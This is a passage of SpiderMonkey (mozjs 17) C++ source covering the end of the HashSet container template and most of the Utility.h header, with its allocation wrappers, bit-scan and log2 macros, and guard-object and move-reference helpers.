add(p, k, v); } /* Like put, but assert that the given key is not already present. */ bool putNew(const Key &k, const Value &v) { return impl.putNew(k, Entry(k, v)); } /* Add (k,defaultValue) if k no found. Return false-y Ptr on oom. */ Ptr lookupWithDefault(const Key &k, const Value &defaultValue) { AddPtr p = lookupForAdd(k); if (p) return p; (void)add(p, k, defaultValue); /* p is left false-y on oom. */ return p; } /* Remove if present. */ void remove(const Lookup &l) { if (Ptr p = lookup(l)) remove(p); } }; /* * JS-friendly, STL-like container providing a hash-based set of values. In * particular, HashSet calls constructors and destructors of all objects added * so non-PODs may be used safely. * * T requirements: * - default constructible, copyable, destructible, assignable * HashPolicy requirements: * - see "Hash policy" above (default js::DefaultHasher) * AllocPolicy: * - see "Allocation policies" in jsalloc.h * * N.B: HashSet is not reentrant: T/HashPolicy/AllocPolicy members called by * HashSet must not call back into the same HashSet object. * N.B: Due to the lack of exception handling, the user must call |init()|. */ template , class AllocPolicy = TempAllocPolicy> class HashSet { typedef typename HashPolicy::Lookup Lookup; /* Implement HashSet in terms of HashTable. */ struct SetOps : HashPolicy { typedef T KeyType; static const KeyType &getKey(const T &t) { return t; } static void setKey(T &t, KeyType &k) { t = k; } }; typedef detail::HashTable Impl; friend class Impl::Enum; /* Not implicitly copyable (expensive). May add explicit |clone| later. */ HashSet(const HashSet &); HashSet &operator=(const HashSet &); Impl impl; public: const static unsigned sDefaultInitSize = Impl::sDefaultInitSize; /* * HashSet construction is fallible (due to OOM); thus the user must call * init after constructing a HashSet and check the return value. */ HashSet(AllocPolicy a = AllocPolicy()) : impl(a) {} bool init(uint32_t len = sDefaultInitSize) { return impl.init(len); } bool initialized() const { return impl.initialized(); } /* * Return whether the given lookup value is present in the map. E.g.: * * typedef HashSet HS; * HS h; * if (HS::Ptr p = h.lookup(3)) { * assert(*p == 3); // p acts like a pointer to int * } * * Also see the definition of Ptr in HashTable above. */ typedef typename Impl::Ptr Ptr; Ptr lookup(const Lookup &l) const { return impl.lookup(l); } /* Assuming |p.found()|, remove |*p|. */ void remove(Ptr p) { impl.remove(p); } /* * Like |lookup(l)|, but on miss, |p = lookupForAdd(l)| allows efficient * insertion of T value |t| (where |HashPolicy::match(t,l) == true|) using * |add(p,t)|. After |add(p,t)|, |p| points to the new element. E.g.: * * typedef HashSet HS; * HS h; * HS::AddPtr p = h.lookupForAdd(3); * if (!p) { * if (!h.add(p, 3)) * return false; * } * assert(*p == 3); // p acts like a pointer to int * * Also see the definition of AddPtr in HashTable above. * * N.B. The caller must ensure that no mutating hash table operations * occur between a pair of |lookupForAdd| and |add| calls. To avoid * looking up the key a second time, the caller may use the more efficient * relookupOrAdd method. This method reuses part of the hashing computation * to more efficiently insert the key if it has not been added. For * example, a mutation-handling version of the previous example: * * HS::AddPtr p = h.lookupForAdd(3); * if (!p) { * call_that_may_mutate_h(); * if (!h.relookupOrAdd(p, 3, 3)) * return false; * } * assert(*p == 3); * * Note that relookupOrAdd(p,l,t) performs Lookup using l and adds the * entry t, where the caller ensures match(l,t). */ typedef typename Impl::AddPtr AddPtr; AddPtr lookupForAdd(const Lookup &l) const { return impl.lookupForAdd(l); } bool add(AddPtr &p, const T &t) { return impl.add(p, t); } bool relookupOrAdd(AddPtr &p, const Lookup &l, const T &t) { return impl.relookupOrAdd(p, l, t); } /* * |all()| returns a Range containing |count()| elements: * * typedef HashSet HS; * HS h; * for (HS::Range r = h.all(); !r.empty(); r.popFront()) * int i = r.front(); * * Also see the definition of Range in HashTable above. */ typedef typename Impl::Range Range; Range all() const { return impl.all(); } uint32_t count() const { return impl.count(); } size_t capacity() const { return impl.capacity(); } size_t sizeOfExcludingThis(JSMallocSizeOfFun mallocSizeOf) const { return impl.sizeOfExcludingThis(mallocSizeOf); } size_t sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf) const { /* * Don't just call |impl.sizeOfExcludingThis()| because there's no * guarantee that |impl| is the first field in HashSet. */ return mallocSizeOf(this) + impl.sizeOfExcludingThis(mallocSizeOf); } /* * Typedef for the enumeration class. An Enum may be used to examine and * remove table entries: * * typedef HashSet HS; * HS s; * for (HS::Enum e(s); !e.empty(); e.popFront()) * if (e.front() == 42) * e.removeFront(); * * Table resize may occur in Enum's destructor. Also see the definition of * Enum in HashTable above. */ typedef typename Impl::Enum Enum; /* * Remove all entries. This does not shrink the table. For that consider * using the finish() method. */ void clear() { impl.clear(); } /* * Remove all the entries and release all internal buffers. The set must * be initialized again before any use. */ void finish() { impl.finish(); } /* Does the table contain any entries? */ bool empty() const { return impl.empty(); } /* * If |generation()| is the same before and after a HashSet operation, * pointers into the table remain valid. */ unsigned generation() const { return impl.generation(); } /* Shorthand operations: */ bool has(const Lookup &l) const { return impl.lookup(l) != NULL; } /* Overwrite existing value with v. Return false on oom. */ bool put(const T &t) { AddPtr p = lookupForAdd(t); return p ? true : add(p, t); } /* Like put, but assert that the given key is not already present. */ bool putNew(const T &t) { return impl.putNew(t, t); } bool putNew(const Lookup &l, const T &t) { return impl.putNew(l, t); } void remove(const Lookup &l) { if (Ptr p = lookup(l)) remove(p); } }; } /* namespace js */ #endif mozjs17.0.0/js/public/Utility.h0000664000175000017500000011016712106270662016314 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99 ft=cpp: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef js_utility_h__ #define js_utility_h__ #include "mozilla/Assertions.h" #include "mozilla/Attributes.h" #include #include #ifdef JS_OOM_DO_BACKTRACES #include #include #endif #include "jstypes.h" #ifdef __cplusplus # include "mozilla/Scoped.h" /* The public JS engine namespace. */ namespace JS {} /* The mozilla-shared reusable template/utility namespace. */ namespace mozilla {} /* The private JS engine namespace. */ namespace js { /* The private namespace is a superset of the public/shared namespaces. */ using namespace JS; using namespace mozilla; } /* namespace js */ #endif /* __cplusplus */ JS_BEGIN_EXTERN_C /* * Pattern used to overwrite freed memory. If you are accessing an object with * this pattern, you probably have a dangling pointer. */ #define JS_FREE_PATTERN 0xDA #define JS_ASSERT(expr) MOZ_ASSERT(expr) #define JS_ASSERT_IF(cond, expr) MOZ_ASSERT_IF(cond, expr) #define JS_NOT_REACHED(reason) MOZ_NOT_REACHED(reason) #define JS_ALWAYS_TRUE(expr) MOZ_ALWAYS_TRUE(expr) #define JS_ALWAYS_FALSE(expr) MOZ_ALWAYS_FALSE(expr) #ifdef DEBUG # ifdef JS_THREADSAFE # define JS_THREADSAFE_ASSERT(expr) JS_ASSERT(expr) # else # define JS_THREADSAFE_ASSERT(expr) ((void) 0) # endif #else # define JS_THREADSAFE_ASSERT(expr) ((void) 0) #endif #define JS_STATIC_ASSERT(cond) MOZ_STATIC_ASSERT(cond, "JS_STATIC_ASSERT") #define JS_STATIC_ASSERT_IF(cond, expr) MOZ_STATIC_ASSERT_IF(cond, expr, "JS_STATIC_ASSERT_IF") extern MOZ_NORETURN JS_PUBLIC_API(void) JS_Assert(const char *s, const char *file, int ln); /* * Abort the process in a non-graceful manner. This will cause a core file, * call to the debugger or other moral equivalent as well as causing the * entire process to stop. */ extern JS_PUBLIC_API(void) JS_Abort(void); /* * Custom allocator support for SpiderMonkey */ #if defined JS_USE_CUSTOM_ALLOCATOR # include "jscustomallocator.h" #else # ifdef DEBUG /* * In order to test OOM conditions, when the shell command-line option * |-A NUM| is passed, we fail continuously after the NUM'th allocation. */ extern JS_PUBLIC_DATA(uint32_t) OOM_maxAllocations; /* set from shell/js.cpp */ extern JS_PUBLIC_DATA(uint32_t) OOM_counter; /* data race, who cares. */ #ifdef JS_OOM_DO_BACKTRACES #define JS_OOM_BACKTRACE_SIZE 32 static JS_ALWAYS_INLINE void PrintBacktrace() { void* OOM_trace[JS_OOM_BACKTRACE_SIZE]; char** OOM_traceSymbols = NULL; int32_t OOM_traceSize = 0; int32_t OOM_traceIdx = 0; OOM_traceSize = backtrace(OOM_trace, JS_OOM_BACKTRACE_SIZE); OOM_traceSymbols = backtrace_symbols(OOM_trace, OOM_traceSize); if (!OOM_traceSymbols) return; for (OOM_traceIdx = 0; OOM_traceIdx < OOM_traceSize; ++OOM_traceIdx) { fprintf(stderr, "#%d %s\n", OOM_traceIdx, OOM_traceSymbols[OOM_traceIdx]); } free(OOM_traceSymbols); } #define JS_OOM_EMIT_BACKTRACE() \ do {\ fprintf(stderr, "Forcing artificial memory allocation function failure:\n");\ PrintBacktrace();\ } while (0) # else # define JS_OOM_EMIT_BACKTRACE() do {} while(0) #endif /* JS_OOM_DO_BACKTRACES */ # define JS_OOM_POSSIBLY_FAIL() \ do \ { \ if (++OOM_counter > OOM_maxAllocations) { \ JS_OOM_EMIT_BACKTRACE();\ return NULL; \ } \ } while (0) # define JS_OOM_POSSIBLY_FAIL_REPORT(cx) \ do \ { \ if (++OOM_counter > OOM_maxAllocations) { \ JS_OOM_EMIT_BACKTRACE();\ js_ReportOutOfMemory(cx);\ return NULL; \ } \ } while (0) # else # define JS_OOM_POSSIBLY_FAIL() do {} while(0) # define JS_OOM_POSSIBLY_FAIL_REPORT(cx) do {} while(0) # endif /* DEBUG */ /* * SpiderMonkey code should not be calling these allocation functions directly. * Instead, all calls should go through JSRuntime, JSContext or OffTheBooks. * However, js_free() can be called directly. */ static JS_INLINE void* js_malloc(size_t bytes) { JS_OOM_POSSIBLY_FAIL(); return malloc(bytes); } static JS_INLINE void* js_calloc(size_t bytes) { JS_OOM_POSSIBLY_FAIL(); return calloc(bytes, 1); } static JS_INLINE void* js_realloc(void* p, size_t bytes) { JS_OOM_POSSIBLY_FAIL(); return realloc(p, bytes); } static JS_INLINE void js_free(void* p) { free(p); } #endif/* JS_USE_CUSTOM_ALLOCATOR */ /* * Replace bit-scanning code sequences with CPU-specific instructions to * speedup calculations of ceiling/floor log2. * * With GCC 3.4 or later we can use __builtin_clz for that, see bug 327129. * * SWS: Added MSVC intrinsic bitscan support. See bugs 349364 and 356856. */ #if defined(_WIN32) && (_MSC_VER >= 1300) && (defined(_M_IX86) || defined(_M_AMD64) || defined(_M_X64)) unsigned char _BitScanForward(unsigned long * Index, unsigned long Mask); unsigned char _BitScanReverse(unsigned long * Index, unsigned long Mask); # pragma intrinsic(_BitScanForward,_BitScanReverse) __forceinline static int __BitScanForward32(unsigned int val) { unsigned long idx; _BitScanForward(&idx, (unsigned long)val); return (int)idx; } __forceinline static int __BitScanReverse32(unsigned int val) { unsigned long idx; _BitScanReverse(&idx, (unsigned long)val); return (int)(31-idx); } # define js_bitscan_ctz32(val) __BitScanForward32(val) # define js_bitscan_clz32(val) __BitScanReverse32(val) # define JS_HAS_BUILTIN_BITSCAN32 #if defined(_M_AMD64) || defined(_M_X64) unsigned char _BitScanForward64(unsigned long * Index, unsigned __int64 Mask); unsigned char _BitScanReverse64(unsigned long * Index, unsigned __int64 Mask); # pragma intrinsic(_BitScanForward64,_BitScanReverse64) __forceinline static int __BitScanForward64(unsigned __int64 val) { unsigned long idx; _BitScanForward64(&idx, val); return (int)idx; } __forceinline static int __BitScanReverse64(unsigned __int64 val) { unsigned long idx; _BitScanReverse64(&idx, val); return (int)(63-idx); } # define js_bitscan_ctz64(val) __BitScanForward64(val) # define js_bitscan_clz64(val) __BitScanReverse64(val) # define JS_HAS_BUILTIN_BITSCAN64 #endif #elif (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) # define js_bitscan_ctz32(val) __builtin_ctz(val) # define js_bitscan_clz32(val) __builtin_clz(val) # define JS_HAS_BUILTIN_BITSCAN32 # if (JS_BYTES_PER_WORD == 8) # define js_bitscan_ctz64(val) __builtin_ctzll(val) # define js_bitscan_clz64(val) __builtin_clzll(val) # define JS_HAS_BUILTIN_BITSCAN64 # endif #endif /* ** Macro version of JS_CeilingLog2: Compute the log of the least power of ** 2 greater than or equal to _n. The result is returned in _log2. */ #ifdef JS_HAS_BUILTIN_BITSCAN32 /* * Use intrinsic function or count-leading-zeros to calculate ceil(log2(_n)). * The macro checks for "n <= 1" and not "n != 0" as js_bitscan_clz32(0) is * undefined. */ # define JS_CEILING_LOG2(_log2,_n) \ JS_BEGIN_MACRO \ unsigned int j_ = (unsigned int)(_n); \ (_log2) = (j_ <= 1 ? 0 : 32 - js_bitscan_clz32(j_ - 1)); \ JS_END_MACRO #else # define JS_CEILING_LOG2(_log2,_n) \ JS_BEGIN_MACRO \ uint32_t j_ = (uint32_t)(_n); \ (_log2) = 0; \ if ((j_) & ((j_)-1)) \ (_log2) += 1; \ if ((j_) >> 16) \ (_log2) += 16, (j_) >>= 16; \ if ((j_) >> 8) \ (_log2) += 8, (j_) >>= 8; \ if ((j_) >> 4) \ (_log2) += 4, (j_) >>= 4; \ if ((j_) >> 2) \ (_log2) += 2, (j_) >>= 2; \ if ((j_) >> 1) \ (_log2) += 1; \ JS_END_MACRO #endif /* ** Macro version of JS_FloorLog2: Compute the log of the greatest power of ** 2 less than or equal to _n. The result is returned in _log2. ** ** This is equivalent to finding the highest set bit in the word. */ #ifdef JS_HAS_BUILTIN_BITSCAN32 /* * Use js_bitscan_clz32 or count-leading-zeros to calculate floor(log2(_n)). * Since js_bitscan_clz32(0) is undefined, the macro set the loweset bit to 1 * to ensure 0 result when _n == 0. */ # define JS_FLOOR_LOG2(_log2,_n) \ JS_BEGIN_MACRO \ (_log2) = 31 - js_bitscan_clz32(((unsigned int)(_n)) | 1); \ JS_END_MACRO #else # define JS_FLOOR_LOG2(_log2,_n) \ JS_BEGIN_MACRO \ uint32_t j_ = (uint32_t)(_n); \ (_log2) = 0; \ if ((j_) >> 16) \ (_log2) += 16, (j_) >>= 16; \ if ((j_) >> 8) \ (_log2) += 8, (j_) >>= 8; \ if ((j_) >> 4) \ (_log2) += 4, (j_) >>= 4; \ if ((j_) >> 2) \ (_log2) += 2, (j_) >>= 2; \ if ((j_) >> 1) \ (_log2) += 1; \ JS_END_MACRO #endif #if JS_BYTES_PER_WORD == 4 # ifdef JS_HAS_BUILTIN_BITSCAN32 # define js_FloorLog2wImpl(n) \ ((size_t)(JS_BITS_PER_WORD - 1 - js_bitscan_clz32(n))) # else JS_PUBLIC_API(size_t) js_FloorLog2wImpl(size_t n); # endif #elif JS_BYTES_PER_WORD == 8 # ifdef JS_HAS_BUILTIN_BITSCAN64 # define js_FloorLog2wImpl(n) \ ((size_t)(JS_BITS_PER_WORD - 1 - js_bitscan_clz64(n))) # else JS_PUBLIC_API(size_t) js_FloorLog2wImpl(size_t n); # endif #else # error "NOT SUPPORTED" #endif /* * Internal function. * Compute the log of the least power of 2 greater than or equal to n. This is * a version of JS_CeilingLog2 that operates on unsigned integers with * CPU-dependant size. */ #define JS_CEILING_LOG2W(n) ((n) <= 1 ? 0 : 1 + JS_FLOOR_LOG2W((n) - 1)) /* * Internal function. * Compute the log of the greatest power of 2 less than or equal to n. * This is a version of JS_FloorLog2 that operates on unsigned integers with * CPU-dependant size and requires that n != 0. */ static MOZ_ALWAYS_INLINE size_t JS_FLOOR_LOG2W(size_t n) { JS_ASSERT(n != 0); return js_FloorLog2wImpl(n); } /* * JS_ROTATE_LEFT32 * * There is no rotate operation in the C Language so the construct (a << 4) | * (a >> 28) is used instead. Most compilers convert this to a rotate * instruction but some versions of MSVC don't without a little help. To get * MSVC to generate a rotate instruction, we have to use the _rotl intrinsic * and use a pragma to make _rotl inline. * * MSVC in VS2005 will do an inline rotate instruction on the above construct. */ #if defined(_MSC_VER) && (defined(_M_IX86) || defined(_M_AMD64) || \ defined(_M_X64)) #include #pragma intrinsic(_rotl) #define JS_ROTATE_LEFT32(a, bits) _rotl(a, bits) #else #define JS_ROTATE_LEFT32(a, bits) (((a) << (bits)) | ((a) >> (32 - (bits)))) #endif JS_END_EXTERN_C #ifdef __cplusplus #include /* * User guide to memory management within SpiderMonkey: * * Quick tips: * * Allocation: * - Prefer to allocate using JSContext: * cx->{malloc_,realloc_,calloc_,new_,array_new} * * - If no JSContext is available, use a JSRuntime: * rt->{malloc_,realloc_,calloc_,new_,array_new} * * - As a last resort, use unaccounted allocation ("OffTheBooks"): * js::OffTheBooks::{malloc_,realloc_,calloc_,new_,array_new} * * Deallocation: * - When the deallocation occurs on a slow path, use: * Foreground::{free_,delete_,array_delete} * * - Otherwise deallocate on a background thread using a JSContext: * cx->{free_,delete_,array_delete} * * - If no JSContext is available, use a JSRuntime: * rt->{free_,delete_,array_delete} * * - As a last resort, use UnwantedForeground deallocation: * js::UnwantedForeground::{free_,delete_,array_delete} * * General tips: * * - Mixing and matching these allocators is allowed (you may free memory * allocated by any allocator, with any deallocator). * * - Never, ever use normal C/C++ memory management: * malloc, free, new, new[], delete, operator new, etc. * * - Never, ever use low-level SpiderMonkey allocators: * js_malloc(), js_free(), js_calloc(), js_realloc() * Their use is reserved for the other memory managers. * * - Classes which have private constructors or destructors should have * JS_DECLARE_ALLOCATION_FRIENDS_FOR_PRIVATE_CONSTRUCTOR added to their * declaration. * * Details: * * Using vanilla new/new[] is unsafe in SpiderMonkey because they throw on * failure instead of returning NULL, which is what SpiderMonkey expects. * (Even overriding them is unsafe, as the system's C++ runtime library may * throw, which we do not support. We also can't just use the 'nothrow' * variant of new/new[], because we want to mediate *all* allocations * within SpiderMonkey, to satisfy any embedders using * JS_USE_CUSTOM_ALLOCATOR.) * * JSContexts and JSRuntimes keep track of memory allocated, and use this * accounting to schedule GC. OffTheBooks does not. We'd like to remove * OffTheBooks allocations as much as possible (bug 636558). * * On allocation failure, a JSContext correctly reports an error, which a * JSRuntime and OffTheBooks does not. * * A JSContext deallocates in a background thread. A JSRuntime might * deallocate in the background in the future, but does not now. Foreground * deallocation is preferable on slow paths. UnwantedForeground deallocations * occur where we have no JSContext or JSRuntime, and the deallocation is not * on a slow path. We want to remove UnwantedForeground deallocations (bug * 636561). * * JS_DECLARE_ALLOCATION_FRIENDS_FOR_PRIVATE_CONSTRUCTOR makes the allocation * classes friends with your class, giving them access to private * constructors and destructors. * * |make check| does a source level check on the number of uses OffTheBooks, * UnwantedForeground, js_malloc, js_free etc, to prevent regressions. If you * really must add one, update Makefile.in, and run |make check|. * * |make check| also statically prevents the use of vanilla new/new[]. */ #define JS_NEW_BODY(allocator, t, parms) \ void *memory = allocator(sizeof(t)); \ return memory ? new(memory) t parms : NULL; /* * Given a class which should provide new_() methods, add * JS_DECLARE_NEW_METHODS (see JSContext for a usage example). This * adds new_()s with up to 12 parameters. Add more versions of new_ below if * you need more than 12 parameters. * * Note: Do not add a ; at the end of a use of JS_DECLARE_NEW_METHODS, * or the build will break. */ #define JS_DECLARE_NEW_METHODS(ALLOCATOR, QUALIFIERS)\ template \ QUALIFIERS T *new_() {\ JS_NEW_BODY(ALLOCATOR, T, ())\ }\ \ template \ QUALIFIERS T *new_(P1 p1) {\ JS_NEW_BODY(ALLOCATOR, T, (p1))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6, P7 p7) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6, p7))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6, P7 p7, P8 p8) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6, p7, p8))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6, P7 p7, P8 p8, P9 p9) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6, p7, p8, p9))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6, P7 p7, P8 p8, P9 p9, P10 p10) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6, p7, p8, p9, p10))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6, P7 p7, P8 p8, P9 p9, P10 p10, P11 p11) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11))\ }\ \ template \ QUALIFIERS T *new_(P1 p1, P2 p2, P3 p3, P4 p4, P5 p5, P6 p6, P7 p7, P8 p8, P9 p9, P10 p10, P11 p11, P12 p12) {\ JS_NEW_BODY(ALLOCATOR, T, (p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12))\ }\ static const int JSMinAlignment = 8;\ template \ QUALIFIERS T *array_new(size_t n) {\ /* The length is stored just before the vector memory. */\ uint64_t numBytes64 = uint64_t(JSMinAlignment) + uint64_t(sizeof(T)) * uint64_t(n);\ size_t numBytes = size_t(numBytes64);\ if (numBytes64 != numBytes) {\ JS_ASSERT(0); /* we want to know if this happens in debug builds */\ return NULL;\ }\ void *memory = ALLOCATOR(numBytes);\ if (!memory)\ return NULL;\ *(size_t *)memory = n;\ memory = (void*)(uintptr_t(memory) + JSMinAlignment);\ return new(memory) T[n];\ }\ #define JS_DECLARE_DELETE_METHODS(DEALLOCATOR, QUALIFIERS)\ template \ QUALIFIERS void delete_(T *p) {\ if (p) {\ p->~T();\ DEALLOCATOR(p);\ }\ }\ \ template \ QUALIFIERS void array_delete(T *p) {\ if (p) {\ void* p0 = (void *)(uintptr_t(p) - js::OffTheBooks::JSMinAlignment);\ size_t n = *(size_t *)p0;\ for (size_t i = 0; i < n; i++)\ (p + i)->~T();\ DEALLOCATOR(p0);\ }\ } /* * In general, all allocations should go through a JSContext or JSRuntime, so * that the garbage collector knows how much memory has been allocated. In * cases where it is difficult to use a JSContext or JSRuntime, OffTheBooks can * be used, though this is undesirable. */ namespace js { class OffTheBooks { public: JS_DECLARE_NEW_METHODS(::js_malloc, JS_ALWAYS_INLINE static) static JS_INLINE void* malloc_(size_t bytes) { return ::js_malloc(bytes); } static JS_INLINE void* calloc_(size_t bytes) { return ::js_calloc(bytes); } static JS_INLINE void* realloc_(void* p, size_t bytes) { return ::js_realloc(p, bytes); } }; /* * We generally prefer deallocating using JSContext because it can happen in * the background. On slow paths, we may prefer foreground allocation. */ class Foreground { public: /* See parentheses comment above. */ static JS_ALWAYS_INLINE void free_(void* p) { ::js_free(p); } JS_DECLARE_DELETE_METHODS(::js_free, JS_ALWAYS_INLINE static) }; class UnwantedForeground : public Foreground { }; template struct ScopedFreePtrTraits { typedef T* type; static T* empty() { return NULL; } static void release(T* ptr) { Foreground::free_(ptr); } }; SCOPED_TEMPLATE(ScopedFreePtr, ScopedFreePtrTraits) template struct ScopedDeletePtrTraits : public ScopedFreePtrTraits { static void release(T *ptr) { Foreground::delete_(ptr); } }; SCOPED_TEMPLATE(ScopedDeletePtr, ScopedDeletePtrTraits) } /* namespace js */ /* * Note lack of ; in JSRuntime below. This is intentional so "calling" this * looks "normal". */ #define JS_DECLARE_ALLOCATION_FRIENDS_FOR_PRIVATE_CONSTRUCTOR \ friend class js::OffTheBooks;\ friend class js::Foreground;\ friend class js::UnwantedForeground;\ friend struct ::JSContext;\ friend struct ::JSRuntime /* * The following classes are designed to cause assertions to detect * inadvertent use of guard objects as temporaries. In other words, * when we have a guard object whose only purpose is its constructor and * destructor (and is never otherwise referenced), the intended use * might be: * JSAutoTempValueRooter tvr(cx, 1, &val); * but is is easy to accidentally write: * JSAutoTempValueRooter(cx, 1, &val); * which compiles just fine, but runs the destructor well before the * intended time. * * They work by adding (#ifdef DEBUG) an additional parameter to the * guard object's constructor, with a default value, so that users of * the guard object's API do not need to do anything. The default value * of this parameter is a temporary object. C++ (ISO/IEC 14882:1998), * section 12.2 [class.temporary], clauses 4 and 5 seem to assume a * guarantee that temporaries are destroyed in the reverse of their * construction order, but I actually can't find a statement that that * is true in the general case (beyond the two specific cases mentioned * there). However, it seems to be true. * * These classes are intended to be used only via the macros immediately * below them: * JS_DECL_USE_GUARD_OBJECT_NOTIFIER declares (ifdef DEBUG) a member * variable, and should be put where a declaration of a private * member variable would be placed. * JS_GUARD_OBJECT_NOTIFIER_PARAM should be placed at the end of the * parameters to each constructor of the guard object; it declares * (ifdef DEBUG) an additional parameter. * JS_GUARD_OBJECT_NOTIFIER_INIT is a statement that belongs in each * constructor. It uses the parameter declared by * JS_GUARD_OBJECT_NOTIFIER_PARAM. */ #ifdef DEBUG class JS_FRIEND_API(JSGuardObjectNotifier) { private: bool* mStatementDone; public: JSGuardObjectNotifier() : mStatementDone(NULL) {} ~JSGuardObjectNotifier() { *mStatementDone = true; } void setStatementDone(bool *aStatementDone) { mStatementDone = aStatementDone; } }; class JS_FRIEND_API(JSGuardObjectNotificationReceiver) { private: bool mStatementDone; public: JSGuardObjectNotificationReceiver() : mStatementDone(false) {} ~JSGuardObjectNotificationReceiver() { /* * Assert that the guard object was not used as a temporary. * (Note that this assert might also fire if Init is not called * because the guard object's implementation is not using the * above macros correctly.) */ JS_ASSERT(mStatementDone); } void Init(const JSGuardObjectNotifier &aNotifier) { /* * aNotifier is passed as a const reference so that we can pass a * temporary, but we really intend it as non-const */ const_cast(aNotifier). setStatementDone(&mStatementDone); } }; #define JS_DECL_USE_GUARD_OBJECT_NOTIFIER \ JSGuardObjectNotificationReceiver _mCheckNotUsedAsTemporary; #define JS_GUARD_OBJECT_NOTIFIER_PARAM \ , const JSGuardObjectNotifier& _notifier = JSGuardObjectNotifier() #define JS_GUARD_OBJECT_NOTIFIER_PARAM_NO_INIT \ , const JSGuardObjectNotifier& _notifier #define JS_GUARD_OBJECT_NOTIFIER_PARAM0 \ const JSGuardObjectNotifier& _notifier = JSGuardObjectNotifier() #define JS_GUARD_OBJECT_NOTIFIER_INIT \ JS_BEGIN_MACRO _mCheckNotUsedAsTemporary.Init(_notifier); JS_END_MACRO #else /* defined(DEBUG) */ #define JS_DECL_USE_GUARD_OBJECT_NOTIFIER #define JS_GUARD_OBJECT_NOTIFIER_PARAM #define JS_GUARD_OBJECT_NOTIFIER_PARAM_NO_INIT #define JS_GUARD_OBJECT_NOTIFIER_PARAM0 #define JS_GUARD_OBJECT_NOTIFIER_INIT JS_BEGIN_MACRO JS_END_MACRO #endif /* !defined(DEBUG) */ namespace js { /* * "Move" References * * Some types can be copied much more efficiently if we know the original's * value need not be preserved --- that is, if we are doing a "move", not a * "copy". For example, if we have: * * Vector u; * Vector v(u); * * the constructor for v must apply a copy constructor to each element of u --- * taking time linear in the length of u. However, if we know we will not need u * any more once v has been initialized, then we could initialize v very * efficiently simply by stealing u's dynamically allocated buffer and giving it * to v --- a constant-time operation, regardless of the size of u. * * Moves often appear in container implementations. For example, when we append * to a vector, we may need to resize its buffer. This entails moving each of * its extant elements from the old, smaller buffer to the new, larger buffer. * But once the elements have been migrated, we're just going to throw away the * old buffer; we don't care if they still have their values. So if the vector's * element type can implement "move" more efficiently than "copy", the vector * resizing should by all means use a "move" operation. Hash tables also need to * be resized. * * The details of the optimization, and whether it's worth applying, vary from * one type to the next. And while some constructor calls are moves, many really * are copies, and can't be optimized this way. So we need: * * 1) a way for a particular invocation of a copy constructor to say that it's * really a move, and that the value of the original isn't important * afterwards (althought it must still be safe to destroy); and * * 2) a way for a type (like Vector) to announce that it can be moved more * efficiently than it can be copied, and provide an implementation of that * move operation. * * The Move(T &) function takes a reference to a T, and returns an MoveRef * referring to the same value; that's 1). An MoveRef is simply a reference * to a T, annotated to say that a copy constructor applied to it may move that * T, instead of copying it. Finally, a constructor that accepts an MoveRef * should perform a more efficient move, instead of a copy, providing 2). * * So, where we might define a copy constructor for a class C like this: * * C(const C &rhs) { ... copy rhs to this ... } * * we would declare a move constructor like this: * * C(MoveRef rhs) { ... move rhs to this ... } * * And where we might perform a copy like this: * * C c2(c1); * * we would perform a move like this: * * C c2(Move(c1)) * * Note that MoveRef implicitly converts to T &, so you can pass an * MoveRef to an ordinary copy constructor for a type that doesn't support a * special move constructor, and you'll just get a copy. This means that * templates can use Move whenever they know they won't use the original value * any more, even if they're not sure whether the type at hand has a specialized * move constructor. If it doesn't, the MoveRef will just convert to a T &, * and the ordinary copy constructor will apply. * * A class with a move constructor can also provide a move assignment operator, * which runs this's destructor, and then applies the move constructor to * *this's memory. A typical definition: * * C &operator=(MoveRef rhs) { * this->~C(); * new(this) C(rhs); * return *this; * } * * With that in place, one can write move assignments like this: * * c2 = Move(c1); * * This destroys c1, moves c1's value to c2, and leaves c1 in an undefined but * destructible state. * * This header file defines MoveRef and Move in the js namespace. It's up to * individual containers to annotate moves as such, by calling Move; and it's up * to individual types to define move constructors. * * One hint: if you're writing a move constructor where the type has members * that should be moved themselves, it's much nicer to write this: * * C(MoveRef c) : x(c->x), y(c->y) { } * * than the equivalent: * * C(MoveRef c) { new(&x) X(c->x); new(&y) Y(c->y); } * * especially since GNU C++ fails to notice that this does indeed initialize x * and y, which may matter if they're const. */ template class MoveRef { public: 